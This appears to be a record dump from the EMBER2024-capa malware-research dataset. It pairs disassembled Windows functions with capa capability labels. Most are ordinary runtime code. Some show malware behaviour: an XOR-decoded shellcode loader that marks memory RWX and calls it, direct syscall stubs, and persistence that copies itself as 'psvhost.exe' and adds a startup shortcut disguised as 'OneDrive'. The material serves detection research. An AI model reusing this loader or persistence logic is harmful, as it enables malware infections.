joyce8/EMBER2024-capa huggingface dataset:
Function at 0x255c7c402
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp - 0x10], 0
mov rax, qword [rbp + 0x10]
mov dword [rbp - 4], eax
call sym.__pthread_self_lite
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp + 0x10]
mov qword [rax + 8], rdx
mov rax, qword [rbp - 0x18]
mov rax, qword [rax + 0x1d8]
mov rcx, rax
call sym._pthread_cleanup_dest
mov rax, qword [rbp - 0x18]
movzx eax, byte [rax + 0x40]
and eax, 0x30
test al, al
jne 0x255c7c46f
mov rax, qword [rbp - 0x18]
add rax, 0xd0
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_longjmp]
call rax
mov eax, dword [0x255c86310]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x255c7c5b3
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
test rax, rax
jne 0x255c7c50c
mov rax, qword [rbp - 0x10]
mov dword [rax], 0xdeadbeef
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x255c7c4c7
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x30], 0
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 8]
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.push_pthread_mem
mov qword [rbp - 0x10], 0
mov eax, dword [0x255c86310]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
jmp 0x255c7c5b3
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 8]
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xbc], 1
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x255c7c546
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x30], 0
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x44]
and eax, 4
test eax, eax
je 0x255c7c5b3
mov rax, qword [rbp - 0x10]
mov dword [rax], 0xdeadbeef
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x28], 0
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.push_pthread_mem
mov qword [rbp - 0x10], 0
mov eax, dword [0x255c86310]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
mov eax, dword [rbp - 4]
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll__endthreadex]
call rax
nop
Function at 0x255c7d1f5
Capabilities:
Set thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov dword [rbp - 0x14], 0
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
call sym._fpreset
lea rax, [0x255c86320]
mov rcx, rax
call sym.pthread_mutex_lock
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_lock
lea rax, [sym.pthread_tls_init]
mov rdx, rax
lea rax, [0x255c90c20]
mov rcx, rax
call sym._pthread_once_raw
mov eax, dword [0x255c86310]
mov rdx, qword [rbp - 8]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov rdx, qword [rbp - 8]
mov dword [rdx + 0x70], eax
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_unlock
mov rdx, rbp
mov rax, qword [rbp - 8]
add rax, 0xd0
mov rcx, rax
call sym._setjmp
test eax, eax
jne 0x255c7d30a
mov qword [rbp - 0x10], pe_nt_image_headers64
lea rax, [0x255c86320]
mov rcx, rax
call sym.pthread_mutex_unlock
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
test rax, rax
je 0x255c7d2d8
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 0x10]
mov rax, qword [rbp - 8]
mov rax, qword [rax + 8]
mov rcx, rax
call rdx
mov qword [rbp - 0x10], rax
nop
nop
lea rax, [0x255c86320]
mov rcx, rax
call sym.pthread_mutex_lock
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rax + 8], rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x1d8]
mov rcx, rax
call sym._pthread_cleanup_dest
jmp 0x255c7d319
lea rax, [0x255c86320]
mov rcx, rax
call sym.pthread_mutex_lock
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_lock
mov rax, qword [rbp - 8]
mov rax, qword [rax + 8]
mov dword [rbp - 0x14], eax
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x255c7d355
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 8]
mov qword [rax + 0x30], 0
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x28]
test rax, rax
jne 0x255c7d3c3
mov rax, qword [rbp - 8]
mov dword [rax], 0xdeadbeef
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_unlock
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_destroy
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.push_pthread_mem
mov qword [rbp - 8], 0
mov eax, dword [0x255c86310]
mov rdx, qword [rbp - 8]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
jmp 0x255c7d40d
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_unlock
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_destroy
mov rax, qword [rbp - 8]
mov qword [rax + 0x38], 0xffffffffffffffff
mov rax, qword [rbp - 8]
mov dword [rax + 0xbc], 1
jmp 0x255c7d40d
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [0x255c86320]
mov rcx, rax
call sym.pthread_mutex_unlock
test eax, eax
je 0x255c7d3ff
mov eax, dword [rbp - 0x14]
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll__endthreadex]
call rax
nop
Function at 0x140011483
Capabilities:
Terminate process

Disassembly:
jmp 0x14002aec0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x140011591
Capabilities:
Parse pe header

Disassembly:
jmp 0x14002d840
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14002d860
xor al, al
jmp 0x14002d8e1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14002d873
xor al, al
jmp 0x14002d8e1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14002d89d
xor al, al
jmp 0x14002d8e1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14002d8b1
xor al, al
jmp 0x14002d8e1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14002d8c3
xor al, al
jmp 0x14002d8e1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14002d8df
xor al, al
jmp 0x14002d8e1
mov al, 1
add rsp, 0x38
ret
Function at 0x14002bc80
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011820
movzx eax, al
test eax, eax
jne 0x14002bca0
mov ecx, 7
call fcn.1400116cc
nop
mov byte [rsp + 0x20], 0
call fcn.1400116ea
mov byte [rsp + 0x21], al
cmp dword [0x14003ecf8], 1
jne 0x14002bcc4
mov ecx, 7
call fcn.1400116cc
nop
jmp 0x14002bd1c
cmp dword [0x14003ecf8], 0
jne 0x14002bd17
mov dword [0x14003ecf8], 1
lea rdx, [0x140033660]
lea rcx, [0x140033330]
call fcn.1400113d4
test eax, eax
je 0x14002bcf8
mov eax, 0xff
jmp 0x14002be21
lea rdx, [0x140033220]
lea rcx, [section..rdata]
call fcn.1400116e0
mov dword [0x14003ecf8], 2
jmp 0x14002bd1c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.1400116b8
call fcn.1400115d2
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x14002bd79
mov rcx, qword [rsp + 0x30]
call fcn.14001131b
movzx eax, al
test eax, eax
je 0x14002bd79
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140046020]
nop
call fcn.14001162c
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14002bdad
mov rcx, qword [rsp + 0x38]
call fcn.14001131b
movzx eax, al
test eax, eax
je 0x14002bdad
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.1400117ad
nop
call fcn.14002bed0
mov dword [rsp + 0x28], eax
call fcn.140011591
movzx eax, al
test eax, eax
jne 0x14002bdcc
mov ecx, dword [rsp + 0x28]
call fcn.1400110be
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14002bddb
call fcn.1400117c1
nop
xor edx, edx
mov cl, 1
call fcn.1400112fd
mov eax, dword [rsp + 0x28]
jmp 0x14002be21
add rsp, 0x68
ret
Function at 0x140001127
Capabilities:
Terminate process

Disassembly:
jmp 0x140003350
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x140001140
Capabilities:
Execute syscall

Disassembly:
jmp 0x140001580
mov r10, rcx
mov eax, 0x18
syscall
ret

Function at 0x14000115e
Capabilities:
Execute syscall

Disassembly:
jmp 0x140001590
mov r10, rcx
mov eax, 0x3a
syscall
ret

Function at 0x14000116d
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400046a0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400046c0
xor al, al
jmp 0x140004741
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400046d3
xor al, al
jmp 0x140004741
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400046fd
xor al, al
jmp 0x140004741
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140004711
xor al, al
jmp 0x140004741
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140004723
xor al, al
jmp 0x140004741
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14000473f
xor al, al
jmp 0x140004741
mov al, 1
add rsp, 0x38
ret

Function at 0x1400011ae
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140001460
sub rsp, 0x288
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x280], rax
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x34], 0
lea rcx, [rsp + 0x48]
xor edx, edx
mov r8d, 0x238
call sub.VCRUNTIME140D.dll_memset
mov dword [rsp + 0x48], 0x238
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
mov rax, 0xffffffffffffffff
cmp qword [rsp + 0x28], rax
jne 0x1400014d0
mov dword [rsp + 0x44], 0
jmp 0x14000154c
mov rcx, qword [rsp + 0x28]
lea rdx, [rsp + 0x48]
call sub.KERNEL32.dll_Process32FirstW
cmp eax, 0
je 0x140001539
jmp 0x1400014ed
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x48]
add rcx, 0x2c
call qword [sym.imp.ucrtbased.dll__stricmp]
cmp eax, 0
jne 0x140001517
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x34], eax
jmp 0x140001534
jmp 0x14000151c
mov rcx, qword [rsp + 0x28]
lea rdx, [rsp + 0x48]
call sub.KERNEL32.dll_Process32NextW
cmp eax, 0
jne 0x1400014ed
jmp 0x140001539
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x24], eax
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.140001109
mov eax, dword [rsp + 0x24]
add rsp, 0x288
ret

Function at 0x1400011f9
Capabilities:
Execute syscall

Disassembly:
jmp 0x1400015a0
mov r10, rcx
mov eax, 0xc1
syscall
ret
Function at 0x14000120d
Capabilities:
Execute syscall

Disassembly:
jmp 0x140001570
mov r10, rcx
mov eax, 0x26
syscall
ret

Function at 0x140001460
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140001460
sub rsp, 0x288
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x280], rax
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x34], 0
lea rcx, [rsp + 0x48]
xor edx, edx
mov r8d, 0x238
call sub.VCRUNTIME140D.dll_memset
mov dword [rsp + 0x48], 0x238
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
mov rax, 0xffffffffffffffff
cmp qword [rsp + 0x28], rax
jne 0x1400014d0
mov dword [rsp + 0x44], 0
jmp 0x14000154c
mov rcx, qword [rsp + 0x28]
lea rdx, [rsp + 0x48]
call sub.KERNEL32.dll_Process32FirstW
cmp eax, 0
je 0x140001539
jmp 0x1400014ed
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x48]
add rcx, 0x2c
call qword [sym.imp.ucrtbased.dll__stricmp]
cmp eax, 0
jne 0x140001517
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x34], eax
jmp 0x140001534
jmp 0x14000151c
mov rcx, qword [rsp + 0x28]
lea rdx, [rsp + 0x48]
call sub.KERNEL32.dll_Process32NextW
cmp eax, 0
jne 0x1400014ed
jmp 0x140001539
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x24], eax
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.140001109
mov eax, dword [rsp + 0x24]
add rsp, 0x288
ret
Function at 0x140003020
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140001212
movzx eax, al
test eax, eax
jne 0x140003040
mov ecx, 7
call fcn.1400011db
nop
mov byte [rsp + 0x20], 0
call fcn.1400011e5
mov byte [rsp + 0x21], al
cmp dword [0x14000b838], 1
jne 0x140003064
mov ecx, 7
call fcn.1400011db
nop
jmp 0x1400030bc
cmp dword [0x14000b838], 0
jne 0x1400030b7
mov dword [0x14000b838], 1
lea rdx, [0x140009660]
lea rcx, [0x140009330]
call sub.ucrtbased.dll__initterm_e
test eax, eax
je 0x140003098
mov eax, 0xff
jmp 0x1400031c1
lea rdx, [0x140009220]
lea rcx, [section..rdata]
call sub.ucrtbased.dll__initterm
mov dword [0x14000b838], 2
jmp 0x1400030bc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.1400011d1
call fcn.14000118b
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140003119
mov rcx, qword [rsp + 0x30]
call fcn.1400010d2
movzx eax, al
test eax, eax
je 0x140003119
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x14000e020]
nop
call fcn.1400011a9
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14000314d
mov rcx, qword [rsp + 0x38]
call fcn.1400010d2
movzx eax, al
test eax, eax
je 0x14000314d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call sub.ucrtbased.dll__register_thread_local_exe_atexit_callback
nop
call fcn.140003270
mov dword [rsp + 0x28], eax
call fcn.14000116d
movzx eax, al
test eax, eax
jne 0x14000316c
mov ecx, dword [rsp + 0x28]
call sub.ucrtbased.dll_exit
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14000317b
call sub.ucrtbased.dll__cexit
nop
xor edx, edx
mov cl, 1
call fcn.1400010c8
mov eax, dword [rsp + 0x28]
jmp 0x1400031c1
add rsp, 0x68
ret
Function at 0x140001bf0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows

Disassembly:
sub rsp, 0xc8
mov dword [rsp + 0xc4], 0
mov dword [rsp + 0xc0], r9d
mov qword [rsp + 0xb8], r8
mov qword [rsp + 0xb0], rdx
mov qword [rsp + 0xa8], rcx
mov qword [rsp + 0xa0], 0x18de86
lea rcx, str.7ONK48A0E5HZ5DCG
lea rdx, str.706EPHP7OK5PR5SN
call fcn.140001670
mov rcx, qword [rsp + 0xa0]
shl rcx, 2
call fcn.140007150
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0xa0]
mov edx, eax
mov rcx, qword [rsp + 0x98]
call fcn.140001970
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x8c], 0
movsxd rax, dword [rsp + 0x8c]
cmp rax, qword [rsp + 0xa0]
jge 0x140001cf5
movsxd rcx, dword [rsp + 0x8c]
lea rax, [0x14001e290]
movzx eax, byte [rax + rcx]
mov rcx, qword [rsp + 0x90]
movsxd rdx, dword [rsp + 0x8c]
movzx ecx, byte [rcx + rdx]
xor eax, ecx
mov dl, al
movsxd rcx, dword [rsp + 0x8c]
lea rax, [0x14001e290]
mov byte [rax + rcx], dl
mov eax, dword [rsp + 0x8c]
add eax, 1
mov dword [rsp + 0x8c], eax
jmp 0x140001c8c
mov rcx, qword [rsp + 0x98]
call fcn.140007158
mov eax, dword [0x14001e240]
mov ecx, eax
shl rcx, 0
call fcn.140007150
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0xa0]
mov r9d, eax
mov rcx, qword [rsp + 0x80]
lea rdx, [0x14001e240]
lea r8, [0x14001e290]
call fcn.140001e00
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x78], rax
mov eax, dword [0x14001e240]
mov dword [rsp + 0x74], eax
mov dword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x44]
mov edx, eax
mov rcx, qword [rsp + 0x78]
mov r8d, 0x40
lea r9, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
je 0x140001ddc
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x38], rax
call qword [rsp + 0x38]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x78]
call fcn.140007158
mov rcx, qword [rsp + 0x30]
lea rdx, str.startThread
call fcn.1400019d0
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140001dd7
xor eax, eax
mov ecx, eax
call qword [rsp + 0x28]
jmp 0x140001de6
mov rcx, qword [rsp + 0x78]
call fcn.140007158
xor eax, eax
add rsp, 0xc8
ret
Function at 0x140001fd0
Capabilities:
Enumerate processes

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x98]
sub rsp, 0x190
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
mov rax, qword [0x140033410]
xor rax, rsp
mov qword [rbp + 0x80], rax
mov rbx, rcx
and dword [rsp + 0x38], 0
and qword [rsp + 0x20], 0
and qword [rsp + 0x28], 0
and qword [rsp + 0x30], 0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140002042
and qword [rbx], 0
and qword [rbx + 8], 0
and qword [rbx + 0x10], 0
jmp 0x140002097
mov dword [rsp + 0x50], 0x130
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140002032
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x20]
call fcn.14000248c
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14000205c
mov rax, qword [rsp + 0x20]
mov qword [rbx], rax
mov rax, qword [rsp + 0x28]
mov qword [rbx + 8], rax
mov rax, qword [rsp + 0x30]
mov qword [rbx + 0x10], rax
mov rax, rbx
mov rcx, qword [rbp + 0x80]
xor rcx, rsp
call fcn.14000a720
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x1400029c8
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x670
mov rax, qword [0x140033410]
xor rax, rsp
mov qword [rsp + 0x660], rax
lea rdx, [rsp + 0x450]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor edi, edi
test eax, eax
jne 0x140002a0a
xor al, al
jmp 0x140002aac
xor r9d, r9d
lea rax, [rsp + 0x240]
xor r8d, r8d
lea edx, [r9 + 0x1c]
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x140002a03
xor r9d, r9d
lea rax, [rsp + 0x30]
xor r8d, r8d
lea edx, [r9 + 0x1a]
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x140002a03
or rbx, 0xffffffffffffffff
lea rax, [rsp + 0x240]
mov r8, rbx
inc r8
cmp word [rax + r8*2], di
jne 0x140002a5c
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x450]
call fcn.14000b344
test eax, eax
je 0x140002aaa
lea rax, [rsp + 0x30]
inc rbx
cmp word [rax + rbx*2], di
jne 0x140002a84
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x450]
mov r8, rbx
call fcn.14000b344
test eax, eax
jne 0x140002a03
mov al, 1
mov rcx, qword [rsp + 0x660]
xor rcx, rsp
call fcn.14000a720
mov rbx, qword [rsp + 0x680]
add rsp, 0x670
pop rdi
ret

Function at 0x140002ad0
Capabilities:
Set registry value

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x30
mov rdi, qword [r8]
or rax, 0xffffffffffffffff
xor esi, esi
inc rax
cmp word [rcx + rax*2], si
jne 0x140002ae1
lea eax, [rax*2 + 2]
mov ebx, 1
xor r8d, r8d
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov rcx, rdi
mov r9d, ebx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140002b15
mov bl, sil
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
Function at 0x140002b28
Capabilities:
Copy file
Create directory

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x450
mov rax, qword [0x140033410]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov rdi, rdx
lea rdx, [rsp + 0x20]
mov rbx, rcx
sub rdx, r8
xor esi, esi
movzx eax, word [r8]
mov word [rdx + r8], ax
lea r8, [r8 + 2]
test ax, ax
jne 0x140002b5c
lea rcx, [rsp + 0x20]
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], si
jne 0x140002b77
mov rax, qword [str.Microsoft]
xor edx, edx
mov qword [rcx], rax
mov rax, qword [0x14002ac38]
mov qword [rcx + 8], rax
mov eax, dword [0x14002ac40]
mov dword [rcx + 0x10], eax
movzx eax, word [0x14002ac44]
mov word [rcx + 0x14], ax
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov rcx, rsi
movzx eax, word [rsp + rcx + 0x20]
lea rcx, [rcx + 2]
mov word [rsp + rcx + 0x22e], ax
test ax, ax
jne 0x140002bb9
lea rdx, [rsp + 0x230]
sub rdx, 2
lea rdx, [rdx + 2]
cmp word [rdx], si
jne 0x140002bdb
mov rax, qword [str.psvhost.exe]
xor r8d, r8d
mov rcx, rdi
mov qword [rdx], rax
mov rax, qword [0x14002ac50]
mov qword [rdx + 8], rax
mov rax, qword [0x14002ac58]
mov qword [rdx + 0x10], rax
movzx eax, word [0x14002ac60]
mov word [rdx + 0x18], ax
lea rdx, [rsp + 0x230]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x140002c48
lea rdx, [rsp + 0x230]
mov r8d, 0x103
mov rcx, rbx
call fcn.14000b1c4
mov word [rbx + 0x206], si
mov al, 1
jmp 0x140002c4a
xor al, al
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.14000a720
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x140002c70
Capabilities:
Get common file path
Get startup folder

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x370]
sub rsp, 0x470
mov rax, qword [0x140033410]
xor rax, rsp
mov qword [rbp + 0x360], rax
mov edx, 0x5c
mov rdi, rcx
call fcn.14000b20c
mov rbx, rax
test rax, rax
jne 0x140002cb5
mov rbx, rdi
jmp 0x140002cb9
add rbx, 2
xor r9d, r9d
lea rax, [rsp + 0x40]
xor r8d, r8d
lea edx, [r9 + 7]
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea r8, [rsp + 0x40]
lea rdx, str._s_s.lnk
lea rcx, [rbp + 0x150]
mov r9, rbx
call qword [sym.imp.USER32.dll_wsprintfW]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rsp + 0x30]
mov ebx, 1
lea r9, [0x140028b78]
lea rcx, [0x140028b88]
mov r8d, ebx
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x140002d8e
mov rcx, qword [rsp + 0x30]
mov rdx, rdi
mov rax, qword [rcx]
call qword [rax + 0xa0]
mov rcx, qword [rsp + 0x30]
lea rdx, str.OneDrive
mov rax, qword [rcx]
call qword [rax + 0x38]
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x38]
mov rax, qword [rcx]
lea rdx, [0x140028b98]
call qword [rax]
test eax, eax
js 0x140002d83
mov rcx, qword [rsp + 0x38]
lea rdx, [rbp + 0x150]
mov r8d, ebx
mov r9, qword [rcx]
call qword [r9 + 0x30]
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
